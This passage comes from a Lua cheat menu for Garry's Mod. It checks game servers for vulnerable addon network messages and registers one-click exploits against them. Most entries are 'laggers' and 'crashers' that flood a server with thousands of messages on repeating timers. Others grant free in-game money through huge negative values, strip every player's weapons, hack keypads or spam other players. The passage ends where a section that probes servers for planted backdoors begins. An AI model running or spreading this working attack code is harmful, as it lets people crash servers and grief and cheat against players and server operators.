8233CHATPRINT("Exploit Trouvé : Scanner Exploit [ScannerMenu]")
8234addExploit( "248","Scanner Exploit", "", function()
8235surface.PlaySound("garrysmod/ui_click.wav")
8236NOTIFICATION("Starting")
8237for k,v in pairs(player.GetAll()) do
8238net.Start("ScannerMenu")
8239net.WriteEntity(v)
8240net.WriteFloat(1)
8241net.WriteFloat(1)
8242net.SendToServer()
8243end
8244end )
8245end
8246
8247status = ValidNetString("ORG_NewOrg")
8248if (status) then
8249CHATPRINT("Exploit Trouvé : New ORG [ORG_NewOrg]")
8250addExploit( "249","New ORG", "", function()
8251surface.PlaySound("garrysmod/ui_click.wav")
8252NOTIFICATION("Starting")
8253net.Start("ORG_NewOrg")
8254net.WriteString("I FUCKING HATE YOU!")
8255net.SendToServer()
8256end )
8257end
8258
8259status = ValidNetString("ORG_VaultDonate")
8260if (status) then
8261CHATPRINT("Exploit Trouvé : Argent Gratuite #27 [ORG_VaultDonate]")
8262addExploit( "250","Argent Gratuite #27", "", function()
8263surface.PlaySound("garrysmod/ui_click.wav")
8264NOTIFICATION("Starting")
8265net.Start("ORG_VaultDonate")
8266net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
8267net.SendToServer()
8268end )
8269end
8270
8271status = ValidNetString("Selldatride")
8272if (status) then
8273CHATPRINT("Exploit Trouvé : Sell Datride [Selldatride]")
8274addExploit( "251","Sell Datride", "", function()
8275surface.PlaySound("garrysmod/ui_click.wav")
8276NOTIFICATION("Starting")
8277for k,v in pairs(player.GetAll()) do
8278net.Start("Selldatride")
8279net.WriteEntity(v)
8280net.SendToServer()
8281end
8282end )
8283end
8284
8285status = ValidNetString("passmayorexam")
8286if (status) then
8287CHATPRINT("Exploit Trouvé : Passexam Exploit [passmayorexam]")
8288addExploit( "252","Passexam Exploit", "", function()
8289surface.PlaySound("garrysmod/ui_click.wav")
8290NOTIFICATION("Starting")
8291net.Start("passmayorexam")
8292net.SendToServer()
8293end )
8294end
8295
8296status = ValidNetString("levelup_useperk")
8297if (status) then
8298CHATPRINT("Exploit Trouvé : LevelUp Exploit [levelup_useperk]")
8299addExploit( "253","LevelUp Exploit", "", function()
8300surface.PlaySound("garrysmod/ui_click.wav")
8301NOTIFICATION("Starting")
8302net.Start("levelup_useperk")
8303net.WriteInt(1, 8)
8304net.WriteInt(2, 8)
8305net.WriteInt(3, 8)
8306net.WriteInt(4, 8)
8307net.SendToServer()
8308end )
8309end
8310
8311status = ValidNetString("ZED_SpawnCar")
8312if (status) then
8313CHATPRINT("Exploit Trouvé : ZED Spawn Car [ZED_SpawnCar]")
8314addExploit( "254","ZED Spawn Car", "", function()
8315surface.PlaySound("garrysmod/ui_click.wav")
8316NOTIFICATION("Starting")
8317net.Start("ZED_SpawnCar")
8318net.WriteFloat(1)
8319net.SendToServer()
8320end )
8321end
8322
8323status = ValidNetString("DeployMask") -- 37.230.228.248:27016
8324if (status) then
8325CHATPRINT("Exploit Trouvé : To wear a gas mask at all players [DeployMask]")
8326addExploit( "255","To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
8327surface.PlaySound("garrysmod/ui_click.wav")
8328NOTIFICATION("Starting")
8329for k,v in pairs(ents.GetAll()) do
8330net.Start("DeployMask")
8331net.WriteEntity(v)
8332net.SendToServer()
8333end
8334end )
8335end
8336
8337status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
8338if (status) then
8339CHATPRINT("Exploit Trouvé : Remove the gas mask from all players [RemoveMask]")
8340addExploit( "256","Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
8341surface.PlaySound("garrysmod/ui_click.wav")
8342NOTIFICATION("Starting")
8343for k,v in pairs(ents.GetAll()) do
8344net.Start("RemoveMask")
8345net.WriteEntity(v)
8346net.SendToServer()
8347end
8348end )
8349end
8350
8351status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
8352if (status) then
8353CHATPRINT("Exploit Trouvé : Change all filters of a gas mask [SwapFilter]")
8354addExploit( "257","Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
8355surface.PlaySound("garrysmod/ui_click.wav")
8356NOTIFICATION("Starting")
8357for k,v in pairs(ents.GetAll()) do
8358net.Start("SwapFilter")
8359net.WriteEntity(v)
8360net.SendToServer()
8361end
8362end )
8363end
8364
8365status = ValidNetString("WipeMask") -- 37.230.228.248:27016
8366if (status) then
8367CHATPRINT("Exploit Trouvé : Wipe gas masks [WipeMask]")
8368addExploit( "258","Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
8369surface.PlaySound("garrysmod/ui_click.wav")
8370NOTIFICATION("Starting")
8371for k,v in pairs(ents.GetAll()) do
8372net.Start("WipeMask")
8373net.WriteEntity(v)
8374net.SendToServer()
8375end
8376end )
8377end
8378
8379status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
8380if (status) then
8381CHATPRINT("Exploit Trouvé : Use Medkit [UseMedkit]")
8382addExploit( "259","Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
8383surface.PlaySound("garrysmod/ui_click.wav")
8384NOTIFICATION("Starting")
8385for k,v in pairs(ents.GetAll()) do
8386net.Start("UseMedkit")
8387net.WriteEntity(v)
8388net.SendToServer()
8389end
8390end )
8391end
8392
8393status = ValidNetString("IDInv_RequestBank")
8394if (status) then
8395CHATPRINT("Exploit Trouvé : Lagger #23 [IDInv_RequestBank]")
8396addExploit( "260","Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
8397surface.PlaySound("garrysmod/ui_click.wav")
8398NOTIFICATION("Starting")
8399if !timer.Exists("lagger23") then
8400timer.Create("lagger23", 0, 0, function()
8401for i = 1, 1000 do
8402net.Start("IDInv_RequestBank",true)
8403net.SendToServer()
8404end
8405end )
8406end
8407end )
8408end
8409
8410status = ValidNetString("casinokit_chipexchange")
8411if (status) then
8412CHATPRINT("Exploit Trouvé : Lagger #24 [casinokit_chipexchange]")
8413addExploit( "261","Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
8414surface.PlaySound("garrysmod/ui_click.wav")
8415NOTIFICATION("Starting")
8416if !timer.Exists("lagger24") then
8417timer.Create("lagger24", 0, 0, function()
8418for i = 1, 1000 do
8419net.Start("casinokit_chipexchange",true)
8420net.WriteEntity(LocalPlayer())
8421net.WriteString("darkrp")
8422net.WriteBool(false)
8423net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
8424net.SendToServer()
8425end
8426end )
8427end
8428end )
8429end
8430
8431status = ValidNetString("RemoveTag")
8432if (status) then
8433CHATPRINT("Exploit Trouvé : 1tap server [RemoveTag]")
8434addExploit( "262","1tap server", "discovered by Leith", function()
8435surface.PlaySound("garrysmod/ui_click.wav")
8436NOTIFICATION("Starting")
8437timer.Create("1tap", 0.5, 0, function()
8438for i=1, 4000 do
8439net.Start("RemoveTag")
8440net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
8441net.SendToServer()
8442end
8443end )
8444end )
8445end
8446
8447status = ValidNetString("desktopPrinter_Withdraw")
8448if (status) then
8449CHATPRINT("Exploit Trouvé : Lagger #25 [desktopPrinter_Withdraw]")
8450addExploit( "263","Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
8451surface.PlaySound("garrysmod/ui_click.wav")
8452NOTIFICATION("Starting")
8453if !timer.Exists("lagger25") then
8454timer.Create("lagger25", 0, 0, function()
8455for i = 1, 1000 do
8456net.Start("desktopPrinter_Withdraw",true)
8457net.WriteEntity(LocalPlayer())
8458net.SendToServer()
8459end
8460end )
8461end
8462end )
8463end
8464
8465status = ValidNetString("sphys_dupe")
8466if (status) then
8467CHATPRINT("Exploit Trouvé : Lagger #26 [sphys_dupe]")
8468addExploit( "264","Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8469surface.PlaySound("garrysmod/ui_click.wav")
8470NOTIFICATION("Starting")
8471timer.Create("lagger26", 0.2, 0, function()
8472for i=1,2200 do
8473net.Start("sphys_dupe",true)
8474net.SendToServer()
8475end
8476end )
8477end )
8478end
8479
8480status = ValidNetString("simfphys_gasspill")
8481if (status) then
8482CHATPRINT("Exploit Trouvé : Poop on players [simfphys_gasspill]")
8483addExploit( "265","Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8484surface.PlaySound("garrysmod/ui_click.wav")
8485NOTIFICATION("Starting")
8486timer.Create("poop", 0.1, 0, function()
8487for k,v in pairs(player.GetAll()) do
8488for j=1,3 do
8489if IsValid(v) then
8490net.Start("simfphys_gasspill")
8491net.WriteVector(v:GetPos()+Vector(0,0,90))
8492net.WriteVector(v:EyePos())
8493net.SendToServer()
8494end
8495end
8496end
8497end )
8498end )
8499end
8500
8501status = ValidNetString("dronesrewrite_controldr")
8502if (status) then
8503CHATPRINT("Exploit Trouvé : Lagger #27 [dronesrewrite_controldr]")
8504addExploit( "266","Lagger #27", "discovered by Solly", function()
8505surface.PlaySound("garrysmod/ui_click.wav")
8506NOTIFICATION("Starting")
8507timer.Create("lagger27", 0.2, 0, function()
8508for i=1,2200 do
8509net.Start("dronesrewrite_controldr",true)
8510net.SendToServer()
8511end
8512end )
8513end )
8514end
8515
8516
8517status = ValidNetString("SCP-294Sv")
8518if (status) then
8519CHATPRINT("Exploit Trouvé : SCP-294 Exploit [SCP-294Sv]")
8520addExploit( "267","SCP-294 Exploit", "discovered by questionmark", function()
8521surface.PlaySound("garrysmod/ui_click.wav")
8522NOTIFICATION("Starting")
8523for k,v in pairs(ents.GetAll()) do
8524net.Start("SCP-294Sv")
8525net.WriteString("acid")
8526net.WriteEntity(v)
8527net.SendToServer()
8528end
8529end )
8530end
8531
8532status = ValidNetString("phone")
8533if (status) then
8534CHATPRINT("Exploit Trouvé : Call all players [phone]")
8535addExploit( "269","Call all players", "discovered by questionmark", function()
8536surface.PlaySound("garrysmod/ui_click.wav")
8537NOTIFICATION("Starting")
8538for k, v in pairs(player.GetAll()) do
8539net.Start("phone")
8540net.WriteTable{
8541ply=v,
8542act='call'
8543}
8544net.SendToServer()
8545end
8546end )
8547end
8548
8549status = ValidNetString("blueatm")
8550if (status) then
8551CHATPRINT("Exploit Trouvé : Lagger #29 [blueatm]")
8552addExploit( "270","Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
8553surface.PlaySound("garrysmod/ui_click.wav")
8554NOTIFICATION("Starting")
8555timer.Create("lagger29", 0, 0, function()
8556for i = 1, 1000 do
8557net.Start("blueatm",true)
8558net.WriteEntity(LocalPlayer())
8559net.SendToServer()
8560end
8561end )
8562end )
8563end
8564
8565status = ValidNetString("cab_cd_testdrive")
8566if (status) then
8567CHATPRINT("Exploit Trouvé : Stavox Teleport [cab_cd_testdrive]")
8568addExploit( "271","Stavox Teleport", "discovered by Aromatic", function()
8569surface.PlaySound("garrysmod/ui_click.wav")
8570NOTIFICATION("Starting")
8571net.Start('cab_cd_testdrive')
8572net.WriteUInt(0, 3)
8573net.WriteUInt(5, 8)
8574net.SendToServer()
8575end )
8576end
8577
8578status = ValidNetString("cab_sendmessage")
8579if (status) then
8580CHATPRINT("Exploit Trouvé : Stavox Message [cab_sendmessage]")
8581addExploit( "272","Stavox Message", "discovered by Aromatic", function()
8582surface.PlaySound("garrysmod/ui_click.wav")
8583NOTIFICATION("Starting")
8584for k, v in pairs(player.GetAll()) do
8585net.Start("cab_sendmessage")
8586net.WriteEntity(v)
8587net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
8588net.SendToServer()
8589end
8590end )
8591end
8592
8593status = ValidNetString("disguise")
8594if (status) then
8595CHATPRINT("Exploit Trouvé : Lagger #30 [disguise]")
8596addExploit( "273","Lagger #30", "discovered by Aromatic & Leith", function()
8597surface.PlaySound("garrysmod/ui_click.wav")
8598timer.Create("lagger30", 0, 0, function()
8599for i = 1, 1000 do
8600net.Start("disguise",true)
8601net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
8602net.SendToServer()
8603end
8604end )
8605end )
8606end
8607
8608status = ValidNetString("FARMINGMOD_DROPITEM")
8609if (status) then
8610CHATPRINT("Exploit Trouvé : Lagger #31 [FARMINGMOD_DROPITEM]")
8611addExploit( "274","Lagger #31", "discovered by Leith", function()
8612surface.PlaySound("garrysmod/ui_click.wav")
8613timer.Create("lagger31", 0, 0, function()
8614for i = 1, 1000 do
8615net.Start("FARMINGMOD_DROPITEM",true)
8616net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
8617net.SendToServer()
8618end
8619end )
8620end )
8621end
8622
8623status = ValidNetString("SlotsRemoved")
8624if (status) then
8625CHATPRINT("Exploit Trouvé : Lagger #32 [SlotsRemoved]")
8626addExploit( "275","Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
8627surface.PlaySound("garrysmod/ui_click.wav")
8628timer.Create("lagger32", 0, 0, function()
8629for i = 1, 1000 do
8630net.Start("SlotsRemoved",true)
8631net.SendToServer()
8632end
8633end )
8634end )
8635end
8636
8637status = ValidNetString("AirDrops_StartPlacement")
8638if (status) then
8639CHATPRINT("Exploit Trouvé : Lagger #33 [AirDrops_StartPlacement]")
8640addExploit( "276","Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
8641surface.PlaySound("garrysmod/ui_click.wav")
8642timer.Create("lagger33", 0, 0, function()
8643for i = 1, 1000 do
8644net.Start("AirDrops_StartPlacement",true)
8645net.SendToServer()
8646end
8647end )
8648end )
8649end
8650
8651status = ValidNetString("IGS.GetPaymentURL")
8652if (status) then
8653CHATPRINT("Exploit Trouvé : Lagger #35 [IGS.GetPaymentURL]")
8654addExploit( "278","Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
8655surface.PlaySound("garrysmod/ui_click.wav")
8656timer.Create("lagger35", 0, 0, function()
8657for i = 1, 1000 do
8658net.Start("IGS.GetPaymentURL",true)
8659net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
8660net.SendToServer()
8661end
8662end )
8663end )
8664end
8665
8666status = ValidNetString("fg_printer_money")
8667if (status) then
8668CHATPRINT("Exploit Trouvé : Lagger #36 [fg_printer_money]")
8669addExploit( "279","Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
8670surface.PlaySound("garrysmod/ui_click.wav")
8671timer.Create("lagger36", 0, 0, function()
8672for i = 1, 1000 do
8673net.Start('fg_printer_money',true)
8674net.WriteEntity(LocalPlayer())
8675net.SendToServer()
8676end
8677end )
8678end )
8679end
8680
8681status = ValidNetString("tickbookpayfine")
8682if (status) then
8683CHATPRINT("Exploit Trouvé : Lagger #37 [tickbookpayfine]")
8684addExploit( "280","Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
8685surface.PlaySound("garrysmod/ui_click.wav")
8686timer.Create("lagger37", 0, 0, function()
8687for i = 1, 1000 do
8688net.Start("tickbookpayfine",true)
8689net.SendToServer()
8690end
8691end )
8692end )
8693end
8694
8695status = ValidNetString("BeginSpin")
8696if (status) then
8697CHATPRINT("Exploit Trouvé : Lagger #38 [BeginSpin]")
8698addExploit( "281","Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
8699surface.PlaySound("garrysmod/ui_click.wav")
8700timer.Create("lagger38", 0, 0, function()
8701for i = 1, 1000 do
8702net.Start("BeginSpin",true)
8703net.SendToServer()
8704end
8705end )
8706end )
8707end
8708
8709status = ValidNetString("DuelRequestClient")
8710if (status) then
8711CHATPRINT("Exploit Trouvé : Lagger #39 [DuelRequestClient]")
8712addExploit( "282","Lagger #39", "discovered by Leith", function()
8713surface.PlaySound("garrysmod/ui_click.wav")
8714timer.Create("lagger39", 0, 0, function()
8715for i = 1, 1000 do
8716net.Start("DuelRequestClient",true)
8717net.SendToServer()
8718end
8719end )
8720end )
8721end
8722
8723status = ValidNetString("ncpstoredoact")
8724if (status) then
8725CHATPRINT("Exploit Trouvé : Lagger #40 [ncpstoredoact]")
8726addExploit( "283","Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
8727surface.PlaySound("garrysmod/ui_click.wav")
8728timer.Create("lagger40", 0, 0, function()
8729for i = 1, 1000 do
8730net.Start("ncpstoredoact",true)
8731net.SendToServer()
8732end
8733end )
8734end )
8735end
8736
8737status = ValidNetString("PermwepsNPCSellWeapon")
8738if (status) then
8739CHATPRINT("Exploit Trouvé : Lagger #41 [PermwepsNPCSellWeapon]")
8740addExploit( "284","Lagger #41", "discovered by Leith", function()
8741surface.PlaySound("garrysmod/ui_click.wav")
8742timer.Create("lagger41", 0, 0, function()
8743for i = 1, 2000 do
8744net.Start("PermwepsNPCSellWeapon",true)
8745net.WriteString("")
8746net.SendToServer()
8747end
8748end )
8749end )
8750end
8751
8752status = ValidNetString("bitcoins_request_withdraw")
8753if (status) then
8754CHATPRINT("Exploit Trouvé : Lagger #42 [bitcoins_request_withdraw]")
8755addExploit( "285","Lagger #42", "discovered by Leith", function()
8756surface.PlaySound("garrysmod/ui_click.wav")
8757timer.Create("lagger42", 0, 0, function()
8758for i = 1, 2000 do
8759net.Start("bitcoins_request_withdraw",true)
8760net.SendToServer()
8761end
8762end )
8763end )
8764end
8765
8766status = ValidNetString("bitcoins_request_turn_on")
8767if (status) then
8768CHATPRINT("Exploit Trouvé : To include all bitcoin miners [bitcoins_request_turn_on]")
8769addExploit( "286","To include all bitcoin miners", "discovered by Leith", function()
8770surface.PlaySound("garrysmod/ui_click.wav")
8771NOTIFICATION("Starting")
8772for k, v in pairs(ents.GetAll()) do
8773if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8774net.Start("bitcoins_request_turn_on")
8775net.WriteEntity(v)
8776net.SendToServer()
8777end
8778end
8779end)
8780end
8781
8782status = ValidNetString("bitcoins_request_turn_off")
8783if (status) then
8784CHATPRINT("Exploit Trouvé : Disable all bitcoin miners [bitcoins_request_turn_off]")
8785addExploit( "287","Disable all bitcoin miners", "discovered by Leith", function()
8786surface.PlaySound("garrysmod/ui_click.wav")
8787NOTIFICATION("Starting")
8788for k, v in pairs(ents.GetAll()) do
8789if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8790net.Start("bitcoins_request_turn_off")
8791net.WriteEntity(v)
8792net.SendToServer()
8793end
8794end
8795end)
8796end
8797
8798status = ValidNetString("NET_AM_MakePotion")
8799if (status) then
8800CHATPRINT("Exploit Trouvé : Lagger #43 [NET_AM_MakePotion]")
8801addExploit( "288","Lagger #43", "discovered by Leith", function()
8802surface.PlaySound("garrysmod/ui_click.wav")
8803NOTIFICATION("Starting")
8804timer.Create("lagger43", 0, 0, function()
8805for i = 1, 2000 do
8806net.Start('NET_AM_MakePotion',true)
8807net.WriteEntity(LocalPlayer())
8808net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
8809net.SendToServer()
8810end
8811end )
8812end )
8813end
8814
8815status = ValidNetString("minigun_drones_switch")
8816if (status) then
8817CHATPRINT("Exploit Trouvé : Lagger #44 [minigun_drones_switch]")
8818addExploit( "289","Lagger #44", "discovered by Solly", function()
8819surface.PlaySound("garrysmod/ui_click.wav")
8820NOTIFICATION("Starting")
8821timer.Create("lagger44", 0.2, 0, function()
8822for i=1,2200 do
8823net.Start("minigun_drones_switch",true)
8824net.SendToServer()
8825end
8826end )
8827end )
8828end
8829
8830status = ValidNetString("CW20_PRESET_LOAD")
8831if (status) then
8832CHATPRINT("Exploit Trouvé : Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
8833addExploit( "290","Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
8834surface.PlaySound("garrysmod/ui_click.wav")
8835NOTIFICATION("Starting")
8836timer.Create("lagger45", 0.2, 0, function()
8837if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
8838for i=1,2200 do
8839net.Start("CW20_PRESET_LOAD",true)
8840net.SendToServer()
8841end
8842end
8843end )
8844end )
8845end
8846
8847status = ValidNetString("SBP_addtime")
8848if (status) then
8849CHATPRINT("Exploit Trouvé : Lagger #46 [SBP_addtime]")
8850addExploit( "291","Lagger #46", "discovered by Solly", function()
8851surface.PlaySound("garrysmod/ui_click.wav")
8852NOTIFICATION("Starting")
8853timer.Create("lagger46", 0.3, 0, function()
8854for i=1,2200 do
8855net.Start("SBP_addtime",true)
8856net.SendToServer()
8857end
8858end )
8859end )
8860end
8861
8862status = ValidNetString("NetData")
8863if (status) then
8864CHATPRINT("Exploit Trouvé : Outfit player nouser [NetData]")
8865addExploit( "292","Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
8866surface.PlaySound("garrysmod/ui_click.wav")
8867NOTIFICATION("Starting")
8868for k, v in pairs(player.GetAll()) do
8869net.Start("NetData")
8870net.WriteString("OF")
8871net.WriteUInt(4,8)
8872net.WriteData(math.random(100000,9999999)..",sis.mdl",30)
8873net.SendToServer()
8874end
8875end )
8876end
8877
8878status = ValidNetString("SBP_addtime")
8879if (status) then
8880CHATPRINT("Exploit Trouvé : XP Booster [SBP_addtime]")
8881addExploit( "293","XP Booster", "discovered by Solly", function()
8882inputFrameExists = true
8883inputFrame = vgui.Create( "DFrame" )
8884inputFrame:SetTitle("Enter the number")
8885inputFrame:SetSize( 400, 75 )
8886inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8887inputFrame:SetDraggable(false)
8888inputFrame:ShowCloseButton(true)
8889inputFrame:MakePopup()
8890inputFrame.Paint = function( self, w, h )
8891draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8892end
8893local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8894TextEntry:SetSize( 380, 30 )
8895TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8896TextEntry:SetText( "100" )
8897TextEntry.OnEnter = function( self )
8898surface.PlaySound("garrysmod/ui_click.wav")
8899timer.Create("ofn", 0.2, 0, function()
8900for i=1,tonumber(self:GetText()) do
8901net.Start("SBP_addtime")
8902net.SendToServer()
8903end
8904inputFrame:SetVisible(false)
8905end )
8906end
8907end )
8908end
8909
8910 status = ValidNetString("StackGhost")
8911
8912 if (status) then
8913 CHATPRINT("Exploit Trouvé : Booter 24000 #1")
8914
8915 addExploit("294", "Booter 24000 #1", "Devient aussi puissant que freezer et adrien", function()
8916 surface.PlaySound("garrysmod/ui_click.wav")
8917 NOTIFICATION("Starting")
8918
8919 if !(timer.Exists("Booteur24000")) then
8920 timer.Create("Booteur24000", 0.02, 0, function()
8921 for i = 1, 2000 do
8922 net.Start("StackGhost", true)
8923 net.WriteInt(69, 32)
8924 net.SendToServer()
8925 end
8926 end)
8927 else
8928 timer.Stop("Booteur2400011")
8929 end
8930end)
8931end
8932
8933 status = ValidNetString("pac_submit")
8934
8935 if (status) then
8936 CHATPRINT("Exploit Trouvé: Booter 24000 #2")
8937
8938 addExploit("295", "Booter 24000 #2", "Devient aussi puissant que freezer et adrien", function()
8939 surface.PlaySound("garrysmod/ui_click.wav")
8940 NOTIFICATION("Starting")
8941
8942 -----------------------------------
8943 timer.Create("Booteur240002", 0.02, 0, function()
8944 for i = 1, 1000 do
8945 Disco.NetStart("pac_submit")
8946 net.SendToServer()
8947 end
8948 end)
8949 end)
8950 ----------------------------------
8951 end
8952
8953 status = ValidNetString("RequestMAPSize")
8954
8955 if (status) then
8956 CHATPRINT("Exploit Trouvé : 1tap server [MapSize]")
8957
8958 addExploit("296", "1tap server [MapSize]", "-1 server", function()
8959 surface.PlaySound("garrysmod/ui_click.wav")
8960 NOTIFICATION("Starting")
8961
8962 -----------------------------------
8963 timer.Create("lagger10", 0, 0, function()
8964 for i = 1, 400 do
8965 net.Start("RequestMAPSize")
8966 net.SendToServer()
8967 end
8968 end)
8969 end)
8970 ----------------------------------
8971 end
8972
8973 status = ValidNetString("properties")
8974
8975 if (status) then
8976 CHATPRINT("Exploit Trouvé : El Famoso Exploit Strip")
8977
8978 addExploit("297", "El Famoso Exploit Strip", "-weapon", function()
8979 surface.PlaySound("garrysmod/ui_click.wav")
8980 NOTIFICATION("Starting")
8981
8982 -----------------------------------
8983 for k, v in pairs(player.GetAll()) do
8984 if v:IsPlayer() then
8985 for k, v in pairs(v:GetWeapons()) do
8986 net.Start("properties")
8987 net.WriteString("remove")
8988 net.WriteEntity(v)
8989 net.SendToServer()
8990 end
8991 end
8992 end
8993 end)
8994 ----------------------------------
8995 end
8996
8997 status = ValidNetString("start_wd_emp")
8998
8999 if (status) then
9000 CHATPRINT("Exploit Trouvé : Hack Keypad")
9001
9002 addExploit("298", "HackKeypad", "Hack Keypad", function()
9003 surface.PlaySound("garrysmod/ui_click.wav")
9004 NOTIFICATION("Starting")
9005 -----------------------------------
9006 net.Start('start_wd_emp')
9007 net.SendToServer()
9008 end)
9009 ----------------------------------
9010 end
9011
9012 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
9013
9014 if (status) then
9015 CHATPRINT("Exploit Trouvé : Server Crash")
9016
9017 addExploit("299", "Server Crash", " ", function()
9018 surface.PlaySound("garrysmod/ui_click.wav")
9019 NOTIFICATION("Starting")
9020
9021 -----------------------------------
9022 timer.Create("crasher2", 0, 0, function()
9023 for i = 1, 400 do
9024 net.Start("pac.net.TouchFlexes.ClientNotify")
9025 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
9026 net.SendToServer()
9027 end
9028 end)
9029 end)
9030 ----------------------------------
9031 end
9032
9033 status = ValidNetString("ItemStoreDrop")
9034
9035 if (status) then
9036 CHATPRINT("Exploit Trouvé : Item booter24000")
9037
9038 addExploit("300", "Item Booter24000", "Un item aussi fort qu'adrien et freezer", function()
9039 surface.PlaySound("garrysmod/ui_click.wav")
9040 NOTIFICATION("Starting")
9041
9042 -----------------------------------
9043 timer.Create("booteur24000items", 0, 0, function()
9044 for i = 1, 1000 do
9045 net.Start("ItemStoreDrop")
9046 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9047 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9048 net.SendToServer()
9049 end
9050 end)
9051 end)
9052 ----------------------------------
9053 end
9054
9055 status = ValidNetString("TFA_Attachment_RequestAll")
9056
9057 if (status) then
9058 CHATPRINT("Exploit Trouvé : TFA LAGGER")
9059
9060 addExploit("301", "TFA LAGGER", "Oublie pas de porter du TFA", function()
9061 surface.PlaySound("garrysmod/ui_click.wav")
9062 NOTIFICATION("Starting")
9063
9064 -----------------------------------
9065 timer.Create("lagger20", 0.02, 0, function()
9066 for i = 1, 4400 do
9067 net.Start("TFA_Attachment_RequestAll", true)
9068 net.SendToServer()
9069 end
9070 end)
9071 end)
9072 ----------------------------------
9073 end
9074
9075 status = ValidNetString("ts_buytitle")
9076
9077 if (status) then
9078 CHATPRINT("Exploit Trouvé : Lagger #47 [ts_buytitle]")
9079
9080 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
9081 surface.PlaySound("garrysmod/ui_click.wav")
9082 NOTIFICATION("Starting")
9083
9084 timer.Create("lagger47", 0, 0, function()
9085 for i = 1, 1000 do
9086 net.Start("ts_buytitle", true)
9087 net.WriteTable({})
9088 net.WriteTable({})
9089 net.WriteTable({})
9090 net.SendToServer()
9091 end
9092 end)
9093 end)
9094 end
9095
9096
9097status = ValidNetString("EnterpriseWithdraw")
9098if (status) then
9099CHATPRINT("Exploit Trouvé : ENTERPRISE FOUND! [EnterpriseWithdraw]")
9100addExploit( "1337","ENTERPRISE FOUND!", "discovered by Leith", function()
9101surface.PlaySound("garrysmod/ui_click.wav")
9102NOTIFICATION("Starting")
9103net.Start("EnterpriseWithdraw")
9104net.WriteInt(100, 32)
9105net.SendToServer()
9106end )
9107end
9108
9109status = ValidNetString("SetPermaKnife")
9110if (status) then
9111CHATPRINT("Exploit Trouvé : PERMA KNIFE FOUND [SetPermaKnife]")
9112addExploit( "1337","PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
9113surface.PlaySound("garrysmod/ui_click.wav")
9114/*
9115function cockSucker(ply,cmd,args,argStr)
9116local ply = LocalPlayer()
9117
9118net.Start( "SetPermaKnife" )
9119 net.WriteString( string.TrimRight(argStr,".lua") )
9120net.SendToServer()
9121end
9122
9123concommand.Add("gibe_weapon",cockSucker)
9124*/
9125end )
9126end
9127
9128
9129
9130
9131
9132
9133
9134
9135
9136
9137
9138/*================================
9139|===== 88Triggering BACKDOOR =====|
9140=================================*/
9141
9142local backdoorScrollPanel = vgui.Create( "DScrollPanel", netcmd )
9143backdoorScrollPanel:Dock( FILL )
9144
9145local triggeringbd = "";
9146
9147function triggeringnetcall( str )
9148 local status, error = pcall( net.Start, str )
9149 return status
9150end
9151
9152 if( triggeringnetcall("memeDoor") ) then
9153 triggeringbd = "memeDoor"
